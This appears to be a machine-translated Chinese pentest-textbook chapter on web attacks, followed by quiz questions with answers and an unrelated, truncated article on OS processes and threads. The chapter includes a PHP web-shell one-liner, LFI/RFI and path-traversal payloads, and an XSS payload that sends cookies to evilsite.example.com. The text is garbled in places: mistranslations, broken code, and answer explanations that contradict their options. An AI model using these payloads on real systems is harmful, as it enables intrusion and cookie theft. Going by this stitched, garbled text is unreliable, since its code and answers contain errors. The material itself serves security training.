WebGoat遗留项目(https://github.com/WebGoat/WebGoat-Legacy)并针对会话管理缺陷测试了"劫持会话"示例。攻击的第一部分将收集足够的cookie样本进行分析,以确定Web框架的cookie生成方案。然后,我们将创建一个有效的cookie(cookie操纵)来进行攻击。使用随机用户名和密码登录后,系统会告诉您使用了"无效用户名或密码"但是,该应用程序为您提供了另一个名为WEAKID的cookie,其值为WEAKID=17280-1531178283601。通过一点挖掘,我能够破译出cookie的第一部分17280是一个序列号,每次我销毁会话并尝试重新登录时,序列号都会增加一。cookie的第二部分似乎是以毫秒为单位的时间戳(根据文档)。在登录和注销了大约五次之后,我知道我无法那么容易地猜出数字。所以,我转向Burp Sequencer,它可以帮助生成足够的cookie值来猜测现有会话cookie。我截获了对应用程序的登录请求,然后将请求转发给Sequencer。在Sequencer中,选择了Cookie选项,如图9-5所示。图9-5 Burp Sequencer标记位置然后我单击了开始实时捕获按钮。在停止捕获过程之前,我一直等到获得了相当大的令牌样本。有了2000多个令牌后,我单击停止按钮停止捕获过程,然后单击保存令牌将令牌保存到一个文件中以进行脱机分析。然后,我回到Sequencer并单击手动加载选项卡。从这里,我使用Load按钮从刚刚保存的文件中加载了令牌,如图9-6所示。图9-6 Sequencer中样本令牌的手动加载从榜首开始,我立即注意到17283和17285之间的数字有差距。由于这一顺序的中断,我很确定已经为17284发行了一个令牌,而我的列表中没有这个令牌。我回Burp,把原来的登录会话转发给Repeater,在那里我可以操纵cookie值,试图劫持会话。在用丢失的令牌值测试了我的怀疑之后,我发现会话是有效的,并且根据服务器的响应消息,我成功地劫持了现有会话,如图9-7所示。9-7在Burp中劫持会话包含攻击在网页中加载任意内容的能力称为包含攻击。针对Web应用程序的文件包含攻击有两种类型:本地文件包含和远程文件包含。在PHP应用程序中,这些漏洞通常使用以下内置函数利用代码中的缺陷进行攻击:include()和require()。这些类型的攻击为攻击者提供了初始访问向量,并将有助于进一步攻击系统。远程和本地文件包含大多数Web应用程序框架(例如PHP)都支持文件包含。文件包含漏洞利用利用Web应用程序中的"动态文件包含"功能。有两种文件包含:本地(LFI)和远程(RFI)。本地文件包含包括Web根目录以外的文件,并将本地操作系统文件的内容呈现到浏览器窗口,例如密码文件example.php?page=../../../../etc/passwd.。在某些情况下,LFI可能导致远程代码执行。测试远程代码执行的一种方法是使用PHP包装器。PHP Expect包装器允许执行系统命令:示例example.php?page=expect://id;但是,默认情况下未启用Expect包装器。另一个PHP包装器是输入流,它允许您从请求体读取原始数据。对于HTTP POST消息,可以使用以下示例对本地操作系统执行命令:POST /example.php?page=php://input&cmd=id HTTP/1.1在消息正文中,您可以使用以下PHP代码,这些代码将通过PHP输入流进行读取和处理:cmd命令将通过shell_exec()函数执行,在本例中返回拥有Web服务器进程的用户的userid。远程文件包含允许在易受攻击的网页中显示文件甚至整个页面。如果HTTP请求中的参数可以更改为指向恶意位置,则Web应用程序可能容易受到RFI的影响,而RFI又可能允许恶意代码在服务器或客户端上运行(即恶意JavaScript窃取cookie数据)。RFI攻击示例如下所示:http://example.com/example.php?file=http://www.maliciousexample.com/malicious.php.LFI和RFI都是危险的方法,可以通过正确使用输入验证来缓解。利用Web应用程序糟糕的输入验证和内容控制的另一种方法是执行恶意文件上载。如果Web应用程序允许未经授权的用户上载文件并执行,攻击者可能会危害系统。支持各种Web脚本语言(如PHP)的Web服务器很容易成为后门程序的受害者。控制对文件上载位置的访问和控制支持的文件类型是缓解此类漏洞的方法。有时您只需要一个简单的PHP单行程序!图9-8提供了使用PHP Web shell执行Linux id命令的示例。用于开发Web shell的代码如下:图9-8恶意文件上传 <?php if (isset (REQUEST [cmd'])echo"<pre>"; $cmd (REQUEST [cmd']); system($cmd);echo "</pre>";die;} ?>利用安全错误配置我认为,配置不当或缺乏良好安全卫生(如补丁管理)的Web应用程序服务器很可能成为攻击的目标,这并不奇怪。如第4章所述,产品供应商的默认账户密码通常可以在开源单词列表中找到,就像我们在本书中一直使用的那些密码一样,也可以在Kali Linux中的/usr/share/wordlist中找到。撰写本文时,CIRT密码列表(https://cirt.net/passwords)(CIRT是臭名昭著的Nikto Web应用程序扫描工具的开发人员)列出了500多家不同供应商使用的2080多个默认密码。这些账户用于初始设置和配置。大多数情况下,供应商会建议禁用该账户,或者至少更改默认密码。Apache Tomcat(http://tomcat.apache.org)是一种著名的开源产品,用于托管和部署基于Java的Web应用程序。在该软件的早期版本中,Tomcat Manager servlet(servlet是一个Java程序,它扩展了服务器的通信能力,例如接收消息和发送响应,主要使用HTTP)用于部署和管理这些应用程序。Tomcat是在启用了Manager应用程序的情况下发布的,还有一个众所周知的默认用户名和密码Tomcat/Tomcat。随着时间的推移,这些证书被使用和滥用,以损害组织系统;然而,为了缓解这种常见的威胁,Apache Tomcat开始在禁用Manager应用程序的情况下发布默认产品安装。至少在开箱即用的情况下,该产品更加安全,现在能够将其部署为软件即服务(SaaS)解决方案,开发人员和系统管理员应该不用担心安装缺陷。OWASP表明,攻击者通常会试图利用未修补的flaws/bugs、访问默认账户或未使用的网页、未受保护的文件和目录等,以获取未经授权的系统访问或知识。示例攻击场景可能是随应用程序一起安装的默认插件或账户/密码,访问控制不佳,无法访问Web根目录以外的文件(可公开访问的Web文件和目录所在的最顶层目录),甚至应用程序显示详细的错误消息(例如堆栈跟踪),这些错误消息可能会暴露可能存在已知漏洞的Web组件版本。在本节中,我们将介绍其中一些攻击方法,包括路径遍历、暴露敏感数据和弱访问控制。访问控制薄弱用户登录并通过身份验证后,应根据访问控制策略将Web服务器(或Web应用程序)配置为限制用户可以访问的内容。访问控制策略定义了如何根据最小权限规则管理和控制对资源的访问的要求。例如,Apache HTTP服务器根据主机名或IP地址限制对Web目录的访问,因为网站上的某些内容可能不供公众使用。在httpd.conf文件(Apache HTTP配置文件),可以应用以下限制以允许专用IP地址访问Web服务器上的受限文件夹,并且拒绝任何其他人:<Directory/htdocs/restricted/> Order Deny,Allow Deny from all A11 owfrom10.1.0.0/16 </Directory>提示Apache HTTP服务器使用模块实现其中的某些功能。模块是服务器功能的扩展。例如,mod_authz_host模块可用于根据IP地址控制对服务器上目录、文件和位置的访问,而mod_ftp模块可用于允许用户使用ftp下载或上载文件。Apache在其核心发行版中包含许多模块;但是,它支持许多默认情况下未安装的其他组件。您可以在此处查看Apache HTTP服务器支持的模块列表:http://httpd.apache.org/modules.如果Web服务器缺少此级别的访问控制,任何浏览到/restricted文件夹内页面的用户都可以访问该内容。Apache需要考虑的另一件事是默认情况下启用目录索引(或目录浏览)。此功能类似于Unix中的ls命令或Windows中的dir命令。如果启用了目录浏览并且没有访问控制,攻击者就不必依赖暴力方法来派生网页和/或子目录。图9-9显示了/admin目录的目录索引示例。图9-9目录索引为了缓解这种情况,可以添加索引。您希望禁用目录浏览的目录中的html(如果html文件为空,攻击者将看到一个空白页面),或者您可以从给定目录或整个网站的Apache HTTP配置文件。用于控制内容显示的Web访问控制与控制Web应用程序中敏感对象或信息的不必要暴露同样重要。公开敏感数据在第5章中,我们讨论了SAST和DAST,这两种方法可以帮助识别应用程序中的代码开发缺陷。然而,在某些情况下,该缺陷可能不是编程错误,而是数据或信息如何受到保护的弱点。某些类型的信息,如密码、信用卡号码、社会安全号码、健康和隐私信息等,需要一定程度的保护。如前几章所述,加密是一种可以用来保护此类数据机密性的方法。然而,如果保护机制的实现被错误配置或不充分,那么针对该漏洞的攻击可能是灾难性的。OWASP为敏感数据泄露提供了三种攻击场景:l场景#1应用程序使用自动数据库加密对数据库中的信用卡号进行加密。然而,在检索时,这些数据会自动加密,从而允许SQL注入缺陷以明文形式检索信用卡号。l场景#2站点没有对所有页面使用或强制TLS或者它支持弱加密。攻击者监视网络流量(例如,在不安全的无线网络上),将连接从HTTPS降级为HTTP,拦截请求,并窃取用户的会话cookie。然后,攻击者重播此cookie并劫持用户(经过身份验证的)会话,访问或修改用户的私有数据,或者相反,攻击者可以更改所有传输的数据(例如,汇款的收件人)。l场景#3密码数据库使用非盐或简单哈希存储每个人的密码。文件上载漏洞允许攻击者检索密码数据库。所有未加盐的哈希都可以用一个彩虹表来显示预先计算的哈希。简单或快速散列函数生成的散列可能会被GPU破解,即使它们是咸的。敏感数据泄露还可能以错误消息或对内部函数的引用的形式出现,这些函数无意中揭示了请求的真实性质。这称为不安全的直接对象引用(IDOR)。例如,将数据库记录(如主键)公开为Web参数或URL中的引用对象。IDOR本身不是一个漏洞;但是,如果数据库或应用程序服务器缺乏适当的访问控制,则攻击者可能会推断出所引用对象的模式或模式。例如,如果通过Web参数直接调用外键值,则已通过系统身份验证的恶意用户可能会修改参数以访问其他用户配置文件的内容。为了演示,我使用了名为Goat Hills Financial Human Resources的OWASP Web Goat项目Web应用程序,并以用户Tom的身份登录以访问用户Eric的概要文件数据。使用Burp代理,我截获了操作视图概要文件的HTTP GET请求,以识别请求中传递的参数,如图9-10所示。图9-10截距IDOR参数我注意到参数employee_id=105,它看起来是一个直接的对象指针,对于用户Tom来说是唯一的。使用Burp Repeater,我修改了参数并重播了HTTP GET请求,但现在请求employee_id=104,以查看该字段是否为增量字段。提交请求后,我能够检索Eric的概要文件,如图9-11所示。图9-11修改IDOR参数如果IDOR参数已被隐藏或混淆,则会使此攻击更难成功,或者可能不太明显。无论如何,这个问题是访问控制不当的直接结果,最终依赖Web和数据库服务器来正确验证这些类型的请求。目录和路径遍历目录和路径遍历攻击是一种注入攻击形式,使恶意参与者能够通过使用快捷方式浏览Web服务器根文件夹之外的内容来访问通常不可用的内容。使用渗透式测试实验室网站提供的渗透式测试 ISO Web的目录遍历示例,我们可以演示这种类型的攻击。给定以下URL:http://192.168.1.108/dirtrav/example1.php?file=hacker.pngfile= parameter用于检索名为图像的hacker.png。如果我们看一下使这成为可能的PHP代码,我们可以了解幕后的情况: $UploadDir ='C:\\xampp\\htdocs\\sec\16\\'; if ((!isset($_GET['file']))) die(); $file = $_GET['file']; $path =$UploadDir.$file; if (!is_file($path)) die(); $handle = fopen($path,'rb'); do{ $data= fread($handle,8192); if(strlen($data)==0){ Break; } echo($data); }while(true); fclose ($handle); exit(); ?> http://127.0.0.1:8100/sec/16/example1.php?file=..\..\..\..\..\Windows\win.ini$UploadDir变量将操作系统上的绝对路径标识为'/var/www/files/',这是文件攻击的地方hacker.png位于。$file变量是用$_GET['file']方法定义的,该方法从file= parameter解析文件名。$path变量声明文件在服务器上应位于的完整路径。如果$路径不存在,则请求为null。然后$handle打开文件的路径以进行读取("rb")。do-while循环用于读取文件变量,最大块大小为8192字节。如果长度为0,则程序中断;否则,将读取文件内容并将其回显到Web浏览器。然后使用fclose()函数在退出程序之前关闭文件。那么,现在让我们测试参数是否容易受到路径遍历的攻击。为了测试这一点,我们可以使用以下/../../../../../etc/passwd代替hacker.png访问本地操作系统passwd文件,该文件通常不作为网页提供。正斜杠和点告诉Web操作遍历路径中的几个目录,就像终端窗口中的更改目录"cd"命令一样。但是,在Windows中,斜杠是反斜杠而不是正斜杠,用于分隔文件路径中的目录(例如,\..\..\..\C:\boot.ini)。在Windows中,目录分隔符("/"或"\")可以向前或向后。但是,在Unix中,它只能是正斜杠("/")。这意味着,在Windows中,要绕过或逃避仅在恶意请求中查找"/"的Web内容筛选器,可以使用其他目录分隔符。如图9-12所示,针对Unix目标的目录遍历攻击成功。图9-12带Burp的目录遍历提示:在测试路径遍历攻击时,可以使用多种变体。它主要是关于编码目录路径或启动正确的转义序列以打破典型的Web过滤器。为了绕过查找特殊字符(如正斜杠)的普通内容过滤器,攻击者可能会使用Unicode/UTF-8甚至URL编码,例如:%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2fect%2通过以实现相同的结果。路径遍历成功的原因是,没有程序逻辑阻止访问Web根目录以外的文件。减轻路径遍历的一种方法是在PHP代码中以$file变量为基础命名。这将返回$file的尾部name组件,任何访问$UploadDir之外的文件的尝试都将失败。下面是如何在代码中实现此功能的示例:$file = basename($_GET['file']);注意:表面上看,可能很难区分文件包含漏洞(LFI和RFI)和路径或目录遍历。主要区别在于,对于遍历攻击,您只能读取本地资源的内容(例如/etc/passwd),而通过包含文件,可以在应用程序的上下文中加载和执行资源,从而提供代码执行。客户端攻击在本章的大部分内容中,我们讨论了在服务器端利用的攻击。然而,当涉及到基于Web的攻击时,客户端也很容易成为目标。服务器内容(例如HTML和JavaScript)可能存在漏洞,可在受害者的Web浏览器或浏览器插件中加以利用。源代码始终可用,因为它是在客户端执行的。《OWASP测试指南》第4版第4.12章"客户端测试"为客户端指定了应用程序测试期间应评估的各种测试区域,包括以下攻击向量:跨站点脚本(XSS)HTML注入客户端URL重定向CSS注入客户端资源操作跨来源资源共享跨现场防水板(Cross-site flashing)点击劫持跨站点请求伪造在本节中,我们将介绍一些与CompTIA 渗透式测试+考试目标相关的领域,包括HTML注入、XSS、CSRF和点击劫持。HTML注入将任意HTML注入网页的能力称为HTML注入。当用户输入未正确消毒时,会发生这种类型的注入。有两种类型的HTML注入,存储HTML和反射HTML。存储的HTML注入是一种持久的注入类型,当恶意用户插入永久存储在服务器端并保留给访问受损网页的其他用户的HTML代码时,就会发生这种情况。这些类型的攻击可能发生在网站的用户驱动区域,如博客,在博客中,即使匿名用户也可以将消息发回给毫无戒心的受害者,如管理员。反射的HTML注入漏洞是一种非持久的浏览器执行攻击。例如,将HTML标记插入到用户提供的文本字段中,例如用户名和密码登录框。如果输入以下HTML标记以及虚假密码:Hacker单击"提交"按钮时,网站可能会返回一个错误,说明:未知用户名黑客这是一个非常基本的示例,但它显示了缺乏服务器的输入验证如何允许在受害者的浏览器中注入HTML代码。跨站点脚本XSS是一种基于Web的漏洞,使攻击者能够将客户端脚本或HTML代码注入其他网页,以窃取信息或绕过身份验证。此漏洞是由于服务器端缺少输入检查造成的。XSS漏洞有三种:反射,在单个HTTP响应中注入代码。下面是一个成功执行反射XSS的示例:示例:index.php?page=存储,将注入代码存储在日志文件中,以窃取和重定向会话令牌,管理用户随后可通过Web界面访问该令牌:<img src=xonerror=this.src='https://evilsite.example.com/?c='+document.cookie>基于DOM的,文档对象模型(DOM)在运行时从应用程序传递到浏览器,并用于构建内容。与传回服务器的存储或反射XSS攻击不同,执行直接在用户的浏览器中进行,因为并非每个对象都被浏览器视为查询。如果只在客户机上进行日志记录,这会使检测过程更加困难。给出了传递到客户端浏览器的DOM对象的以下示例:URL中"#"之后传递的所有内容都将在Web浏览器中执行:http://example.com/xss/example9.php#message只需传递URL:http://example.com/xww/example9.php#<script>alert("DOMXSS")</script>对于愿意点击链接的受害者,会出现一个警报框,很像反射的XSS攻击。提示:某些Web浏览器具有内置内容过滤器,以防止发生此类攻击。NoScript (https://noscript.net)是基于Mozilla浏览器的浏览器扩展,可帮助阻止不需要的脚本在浏览器中执行,并将执行限制为仅受信任的网站。跨站点请求伪造CSRF是另一种客户端注入攻击,它会导致用户对已通过有效会话验证的受信任网站执行操作。攻击向量包括易受攻击的网页、博客、电子邮件等。这些攻击通常是有针对性的,如果成功,可能会导致受害者购买物品、转账、更改密码,如果受害者是管理员或具有提升的权限,则攻击的目标可能是在应用程序中创建或修改现有账户的能力。例如,将一个隐藏图像嵌入到一个新闻组的Web帖子中,该新闻组指向使用"攻击"servlet转移资金的恶意请求。如果这是来自银行应用程序的真正servlet,并且受害者已经登录到他们的账户,那么5000美元将从他们的账户中转出。该消息看起来无害,并且图像大小可以显著减小,这样就不会在消息正文中引起太多的注意。图9-13提供了一个向用户组提交潜在无害消息的示例。图9-14显示了打开消息时发生的情况的示例。图9-13 CSRF示例场景消息图9-14 CSRF示例场景消息内容点击挟持点击劫持(Clickjacking)是一种透明的行为,通过诱骗受害者点击他们不打算与之交互的网页中的按钮或链接来欺骗受害者。Clickjacking是客户端的安全问题,是一种可以与多种攻击(例如,社会工程)结合使用或单独使用的操作。此方法可用于通过攻击者控制的网站劫持用户会话,该网站代表受害者用户账户对合法网站执行操作。点击劫持利用CSS、iframes甚至文本框通过攻击者控制的网页加载合法的Web内容。例如,如果受害者已经登录到电子商务商店并购买鞋子,攻击者可能会通过社会工程诱使受害者访问其网站,并可能诱使用户单击"所有鞋子五折,单击此处"图像。这张图片看起来是合法的,但它直接位于合法网站的"从购物车中删除所有项目"和"注销"链接的顶部,这对受害者来说是隐藏的。用户单击图像的位置将确定Web服务器执行的操作。过去的点击劫持攻击针对Twitter和Facebook用户,点击劫持被用来说服用户单击按钮转发恶意网页(被称为Twitter蠕虫)的位置,并滥用Facebook中的"喜欢"功能来喜欢随机网站。减轻点击劫持的一种方法是配置Web服务器,使其使用适当的内容安全策略(CSP)来禁止来自其他域的框架,使用X-Frame-Options HTTP响应标头来限制网页加载到或。其他信息可在OWASP网站的"点击劫持防御备忘单"中找到,该备忘单为点击劫持和其他类型的客户端保护提供了额外的上下文,以帮助击败攻击者的点击劫持企图。章节回顾Web和数据库技术在大多数组织中发挥着重要作用。几年前,仅仅拥有一个网站就足以在竞争激烈的市场中竞争,让你的客户群看到你的公司能做什么。如今,公司正在投入更多的时间和精力在社交媒体网站上建立影响力,如Facebook、Twitter、Instagram、LinkedIn等,以便与数字世界保持联系。在当今世界,公司可以将部分数据中心移动到云中,以降低年度运营成本,实现更高级别的系统可用性。各组织必须评估其组织内的Web和数据库安全,因为数字时代已经到来。针对基于Web的技术的攻击不再只是服务器端的攻击。更复杂的攻击是针对最终用户的,因为大多数客户端漏洞攻击都相当简单,只需很少的努力,攻击者可以获得很多好处。只要回报大于被抓住的风险,攻击者就会继续寻找新的方法来利用基于网络的技术的进步。问题1、在渗透式测试约定期间,系统开发人员与您联系,询问您是否可以帮助了解服务器上的一个Apache HTTP日志文件中发生了什么。错误。日志文件显示以下消息:在HTTP GET请求期间。开发人员知道该请求不是来自正在进行的渗透式测试,因为IP地址超出了参与范围。可能对目标Web服务器使用了哪种类型的攻击?A、 基于DOM的XSS攻击B、 跨站点请求伪造(CSRF)C、 XXE注入D、 SQL注入2、渗透式测试团队的一名成员试图在MySQL数据库中插入恶意记录,该记录将执行一些概念验证代码,从用户的Web浏览器中窃取cookie。但是,INSERT语句不起作用。查看以下语法,可能的错误原因是什么?mysql> INSERT into app.data (header, body, message, webForm) VALUES ("HACK", 404, "HACK");A、 第二列值缺少引号。B、 INSERT语句缺少第四列的值,不能为null。C、 其中一个字段值超出了大小限制。D、 INSERT语句中没有错误。3、如果受损数据库用户具有管理权限(例如root)或提升权限,并且数据库配置了sys_exec()和__________函数,则UDF可以帮助在渗透式测试期间执行命令。A. sys_eval()B. system_eval()C. exec_sys()D. sys_udf()4、给定以下URL,可以使用哪两种方法对Web参数内的数据库进行SQL注入测试?(选择两个)http://example.com/page.php?id=1&acct=162;jsessionid=567323456798A. ?id=1'&acct=144;jsessionid=567323456798B. ?id=1'&acct=162';jsessionid=567323456798C. ?id=1;--&acct=162;jsessionid=567323456798D. ?id=1'&acct=144';jsessionid=5673234567985、您遇到一个需要使用有效用户名和登录名进行身份验证的网页。使用CeWL,您决定使用从网站派生的内容构建自己的词表。网站有很多页面,你决定从index.html页面开始,并深入网站5页,以确定至少8个字符的字长。哪些命令选项将帮助您构建要查找的单词列表?A. -d 5 -8B. -w 8 -d 5C. -m 8 -d 5D. -a 8 -d 56、在测试Windows Server 2016上运行的Web应用程序时,您发现一个Web参数漏洞,容易受到路径遍历攻击。在演示路径遍历攻击时,以下哪个选项是最佳选择?A. ?id=C:\Windows\system32\etc/passwdB. ?id=../../../../C:/Windows/etc/passwdC. ?id=%20.%20C:/Windows/boot.iniD. ?id=..\..\..\..\C:/Windows/boot.ini7、以下哪项是有效的客户端攻击?(选择所有适用项)A、 点击挟持B、 命令注入C、 目录遍历D、 反射HTML注入E、 基于DOM的XSSF、 会话劫持8、用户Web浏览器中文档对象模型(DOM)的用途是什么?A、 在浏览器中结构化内容B、 将消息传递给其他实体C、 存储后跟" #"符号的加密值D、 帮助抵御XSS攻击9、以下PHP代码的目的是什么?do{$data=fread($handle,8192);if (strlen($data)==0){Break;}echo($data);}while (true);A. Creates a loop to echo the contents of $data until it reaches 0 length(创建循环以回显$数据的内容,直到其长度达到0)B. Creates a loop, declares $data, and validates the size of the variable(创建循环,声明$数据,并验证变量的大小)C. Creates a loop to echo the contents of the data(创建循环以回显数据的内容)D. Creates a loop but kills the process if the data is less than 8192 bytes(创建循环,但如果数据小于8192字节,则终止进程)10、给定以下URL,以下哪个选项可以是IDOR?(选择所有适用项。)A. http://example.com/index.php?emp_id=12345B. http://example.com/index.phpC. http://example.com/sales.php?acct=4532345D. http://example.com/profile.php?state=CA&zip=90001问题和答案1、在渗透式测试约定期间,系统开发人员与您联系,询问您是否可以帮助了解服务器上的一个Apache HTTP日志文件中发生了什么。错误。日志文件显示以下消息:在HTTP GET请求期间。开发人员知道该请求不是来自正在进行的渗透式测试,因为IP地址超出了参与范围。可能对目标Web服务器使用了哪种类型的攻击?A、 基于DOM的XSS攻击B、 跨站点请求伪造(CSRF)C、 XXE注入D、 SQL注入C、 XML外部实体(XXE)注入攻击目标XML文档,并试图操纵在处理文档时解析的内部或外部实体的声明。日志文件中捕获的注入尝试是攻击者以用户账户的本地SSH密钥为目标的尝试。这些类型的攻击也可能导致远程命令执行。通过禁用外部实体或清理用户提供的输入并限制文档指向其请求的位置,可以减轻这些类型的攻击。2、渗透式测试团队的一名成员试图在MySQL数据库中插入恶意记录,该记录将执行一些概念验证代码,从用户的Web浏览器中窃取cookie。但是,INSERT语句不起作用。查看以下语法,可能的错误原因是什么?mysql> INSERT into app.data (header, body, message, webForm) VALUES ("HACK", 404, "HACK");A、 第二列值缺少引号。B、 INSERT语句缺少第四列的值,不能为null。C、 其中一个字段值超出了大小限制。D、 INSERT语句中没有错误。B、 INSERT语句缺少第四列的值。INSERT语句中标识的每一列都需要有一个字段值。如果其中一个字段是必填字段,则该字段不允许为null,例如空值。3、如果受损数据库用户具有管理权限(例如root)或提升权限,并且数据库配置了sys_exec()和__________函数,则UDF可以帮助在渗透式测试期间执行命令。A. sys_eval()B. system_eval()C. exec_sys()D. sys_udf()A、 需要在数据库服务器上配置sys_eval()和sys_exec()函数,以便创建用户定义函数(UDF),最终可以使用拥有该进程的操作系统用户的权限在操作系统上执行命令。4、给定以下URL,可以使用哪两种方法对Web参数内的数据库进行SQL注入测试?(选择两个。)http://example.com/page.php?id=1&acct=162;jsessionid=567323456798A. ?id=1'&acct=144;jsessionid=567323456798B. ?id=1'&acct=162';jsessionid=567323456798C. ?id=1;--&acct=162;jsessionid=567323456798D. ?id=1'&acct=144';jsessionid=567323456798B、 D. "'"、"-- "和"这些方法都可以帮助从缺少应用程序或数据库过滤的数据库中触发错误响应。5、您遇到一个需要使用有效用户名和登录名进行身份验证的网页。使用CeWL,您决定使用从网站派生的内容构建自己的词表。网站有很多页面,你决定从索引开始。html页面,并深入网站五页,以确定至少八个字符的字长。哪些命令选项将帮助您构建要查找的单词列表?A. -d 5 -8B. -w 8 -d 5C. -m 8 -d 5D. -a 8 -d 5C、 -d选项用于指定遍历网站的深度,-m用于指定工具识别的最小字数。6、在测试Windows Server 2016上运行的Web应用程序时,您发现一个Web参数漏洞,容易受到路径遍历攻击。在演示路径遍历攻击时,以下哪个选项是最佳选择?A. ?id=C:\Windows\system32\etc/passwdB. ?id=../../../../C:/Windows/etc/passwdC. ?id=%20.%20C:/Windows/boot.iniD. ?id=..\..\..\..\C:/Windows/boot.iniD、 最好的答案是D,因为它可以帮助避开基本的正斜杠内容过滤器,并可能显示引导的内容boot.ini文件。7、以下哪项是有效的客户端攻击?(选择所有适用项。)A. ClickjackingB. Command injectionC. Directory traversalD. Reflected HTML injectionE. DOM-based XSSF. Session hijackingA, D, E, F.除了命令注入和目录遍历之外,所有答案都是正确的。这些类型的攻击针对的是服务器端漏洞。8、用户Web浏览器中文档对象模型(DOM)的用途是什么?A、 在浏览器中结构化内容B、 将消息传递给其他实体C、 存储后跟"# "符号的加密值D、 帮助抵御XSS攻击A、 在运行时,应用程序将传递DOM以帮助构建浏览器中的内容。DOM模块可能包括可以在用户浏览器中本地执行的JavaScript代码。9、以下PHP代码的目的是什么?do{$data=fread($handle,8192);if (strlen($data)==0){Break;}echo($data);}while (true);A、 创建循环以回显$数据的内容,直到其长度达到0B、 创建循环,声明$数据,并验证变量的大小C、 创建循环以回显数据的内容D、 创建循环,但如果数据小于8192字节,则终止进程B、 PHP代码通过读取8192字节的$句柄来声明$数据变量。然后,如果$data的长度等于0,脚本将终止或继续回显$data的内容并完成循环。10、给定以下URL,以下哪个选项可以是IDOR?(选择所有适用项。)A. http://example.com/index.php?emp_id=12345B http://example.com/index.phpC http://example.com/sales.php?acct=4532345D http://example.com/profile.php?state=CA&zip=90001A、 C. "acct= " and "emp_id= "参数在某种程度上是一种死赠品,因为它们可以链接到其他用户的信息,而无需通过Web应用程序或数据库进行必要的访问控制即可检索到这些信息。选项B只是一个URL,没有任何可推断的内容,选项C提供了与状态和邮政编码相关的参数,对于不安
文章
存储  ·  SQL  ·  安全  ·  JavaScript  ·  应用服务中间件  ·  PHP  ·  Apache  ·  数据库  ·  数据安全/隐私保护  ·  Windows
2023-02-15
操作系统之线程和进程
一. 什么是操作系统操作系统本质上是一个软件, 发挥的是管理作用, 可以管理软件和硬件, 让其有条不紊的运行和使用.对于操作系统下层, 操作系统需要管理好硬件; 对于操作系统上层要给软件提供稳定的运行环境, 所以操作系统是软件, 硬件, 用户之间交互的媒介.硬件设备: 实体设备, 比如电脑后盖打开看到的都是硬件设备.驱动程序: 硬件厂商在开发硬件的同时会提供驱动程序, 电脑安装了对应的驱动程序, 才能让系统正确的识别硬件设备.操作系统内核: 是操作系统的核心功能, 承上启下.系统调用: 操作系统给应用程序提供的一些API接口, 比如有个程序想操作一下硬件设备, 就需要先通过系统调用, 把操作命令告诉给系统内核, 内核调用驱动程序, 进一步的操作硬件设备.应用程序:QQ , 所写的Java代码等都是应用程序.常见的操作系统:Windows:windows98, 2000, xp, vista,win7, win10, win11(最熟悉的操作系统).Linux: 特别适合进行开发和部署(程序员必须掌握的系统).Mac: 苹果电脑用的系统, 和Linux有一些相似之处.还有一些手机上运行系统;Android ,IOS等.二. 进程和线程1. 进程简单来说进程就是正在运行的程序, 通过双击一个可执行文件(.exe), 操作系统就会把这个可执行文件加载到内存上, 并在CPU上执行可执行文件中的指令, 此时这个exe就跑起来了, 就成为一个正在运行的程序, 也称作一个进程(process), 也叫做一个任务.现在的很多电脑都是多进程模式的, 宏观上, 可以有很多个进程同时执行.上面一部分进程是我们自己去执行应用的可执行文件, 而另一部分是操作系统自动启动的进程.2. 线程线程是进程内部的一部分, 将进程类比作一个工厂, 那么线程就是工厂中的生产线, 所以一个进程可以包括很多个线程, 一个进程至少拥有一个线程.我们日常所写的java代码, 其实最终都是通过java进程(jvm)跑起来的.3. 进程的管理进程是一个重要的"软件资源", 是由操作系统内核负责管理的, 进程中含有一个或者多个线程, 在进程中开启第一个线程时, 需要进行资源的分配, 之后进程中开启的其他线程复用的都是同一一份资源.线程是通过结构体(C语言)来描述的(操作系统基本上都是通过C/C++来实现的), 这个结构体也被称为进程控制块(PCB), 这若干个结构体就描述了进程, 对进程进行描述后, 然后就是组织线程, 线程的本质上也是数据, 那么对数据的组织需要通过数据结构来进行组织, 在Linux系统中是通过双链表来组织线程的, 也就是通过一个双向链表将多个PBC给串到一起.创建一个线程, 本质上就是创建一个PCB这样的结构体对象, 把它插入到链表中.销毁一个线程, 本质上就是把链表上的 PCB节点删除掉.任务管理器查看到进程列表, 本质上就是遍历这个PCB链表.所以对线程的增删查改本质上就是对双链表进行增删查改, 当然这个双链表是复杂的双链表, 但是对线程的操作的基本思路和操作双链表是一样的.]3.1 PBC中的一些属性PCB里包含的属性是非常多的, 下面介绍的是一些核心属性.进程id(pid): 进程的一个身份标识符, 是一个唯一的数字.内存指针: 指明了自己分配到的内存.文件描述符表: 硬盘上的文件等其他资源.一个进程一运行, 操作系统就会自动打开至少3个文件: 标准输入(System.in), 标准输出(System.out), 标准错误(System.err).想要一个进程正常工作就需要为这个进程分配资源, 包括但不限于内存, 硬盘, CPU.3.2 并发和并行分配资源时, 对于其他资源都比较好分配, 但CPU资源是不太好分配的: 电脑中进程可能有几十上百个, 电脑的CPU(现在电脑大多是多核CPU)资源是很有限的, 远不够给这些进程同时分配.但我们又希望进程都是同时运行的, 上面说过, 一个进程中可以有多个线程, 我们可以让多个线程去并发执行(分时复用), 那么什么是并发呢?并行性和并发性是既相似又有区别的两个概念, 并行性是指两个或多个事件在同一时刻发生, 而并发性是指两个或多个事件在同一时间间隔内发生.从宏观上来讲, 并行与并发没有区别, 或者说是我们肉体凡胎感知不到.从微观上来讲, 并行表示两个CPU核心同时运行两个任务的代码, 并发表示一个CPU核心先运行任务A的代码,再运行任务B的代码, 也就是多个任务能够在CPU核心上快速的切换运行; 只要运行得足够快, 就可以认为多个任务在同时运行.3.3 进程的调度线程是系统调度执行的最基本单位, 为了方便描述进程的调度, 这里假定此处的进程只有一个线程, 这样就可以将线程的调度视为进程的调度, 这里我们谈到的进程调度是基于多任务操作系统, 就是从宏观上看, 同一时间能够同时运行多个进程.进程的状态:就绪状态: 准备就绪, 随时等待CPU调度执行.运行状态: 线程正在CPU上运行的状态.阻塞状态: 进程由于一系列因素无法及时响应调度, 短时间内无法在CPU上执行.优先级:多个进程, 操作系统进行调度的时候, 并不是完全平等, 而是有一定的优先级的.上下文:表示上一次进程被调出CPU的时候, 程序的运行状态(将进程的 “中间状态” 保存下来), 这样下一次这个进程调度到CPU时就能接着上次的状态继续运行.进程的上下文, 就是CPU中的各个寄存器的值, 所以进程调出CPU之前, 需要先把CPU上寄存器上的数据保存到内存中,相当于存档; 下次该进程再被调进CPU时, 就可以根据上次储存在内存中的数据恢复到寄存器中, 